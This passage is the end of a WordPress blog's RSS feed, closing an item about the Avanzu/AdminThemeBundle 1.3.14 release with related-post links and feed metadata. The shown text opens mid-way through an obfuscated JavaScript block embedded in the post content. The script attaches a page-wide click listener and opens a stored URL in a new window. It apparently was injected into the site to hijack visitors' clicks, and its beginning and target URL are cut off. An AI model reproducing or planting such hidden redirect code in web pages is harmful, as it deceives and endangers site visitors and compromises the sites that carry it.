_0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>
<div class="wp_rp_wrap  wp_rp_momma" ><div class="wp_rp_content"><h3 class="related_post_title">Otros artículos relacionados</h3><ul class="related_post wp_rp"><li data-position="0" data-poid="ex-in_1618" data-post-type="own_sourcefeed" ><a href="https://shakaran.net/blog/2017/09/7-ideas-para-construir-relacion-comercial-con-freelance/" class="wp_rp_thumbnail"><img data-recalc-dims="1" loading="lazy" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2017/09/7-ideas-para-construir-una-gran-relacion-con-un-freelancer.png?resize=150%2C150&#038;ssl=1" alt="7 ideas para construir gran relación comercial con un freelancer" width="150" height="150" /></a><a href="https://shakaran.net/blog/2017/09/7-ideas-para-construir-relacion-comercial-con-freelance/" class="wp_rp_title">7 ideas para construir gran relación comercial con un freelancer</a></li><li data-position="1" data-poid="ex-in_963" data-post-type="own_sourcefeed" ><a href="https://shakaran.net/blog/2010/06/how-to-use-the-lastest-development-version-of-tivion/" class="wp_rp_thumbnail"><img data-recalc-dims="1" loading="lazy" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2010/06/Bug.png?resize=150%2C150&#038;ssl=1" alt="How to use the lastest development version of Tivion" width="150" height="150" /></a><a href="https://shakaran.net/blog/2010/06/how-to-use-the-lastest-development-version-of-tivion/" class="wp_rp_title">How to use the lastest development version of Tivion</a></li><li data-position="2" data-poid="ex-in_1143" data-post-type="own_sourcefeed" ><a href="https://shakaran.net/blog/2012/01/depurar-y-perfilar-funciones-php-graficamente-con-xdebug-kcachegrind-y-webgrind-en-ubuntu-11-10/" class="wp_rp_thumbnail"><img data-recalc-dims="1" loading="lazy" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2012/01/the-art-of-debuggin-with-php.jpg?resize=150%2C150&#038;ssl=1" alt="Depurar y perfilar funciones PHP gráficamente con XDebug, KCacheGrind y Webgrind en Ubuntu 11.10" width="150" height="150" /></a><a href="https://shakaran.net/blog/2012/01/depurar-y-perfilar-funciones-php-graficamente-con-xdebug-kcachegrind-y-webgrind-en-ubuntu-11-10/" class="wp_rp_title">Depurar y perfilar funciones PHP gráficamente con XDebug, KCacheGrind y Webgrind en Ubuntu 11.10</a></li></ul></div></div>
<p>La entrada <a href="https://shakaran.net/blog/2019/03/adminthemebundle-avanzu-admin-theme-bundle-1-3-4/">Avanzu/AdminThemeBundle 1.3.14</a> se publicó primero en <a href="https://shakaran.net/blog">Shakaran</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://shakaran.net/blog/2019/03/adminthemebundle-avanzu-admin-theme-bundle-1-3-4/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1692</post-id>	</item>
	</channel>
</rss>
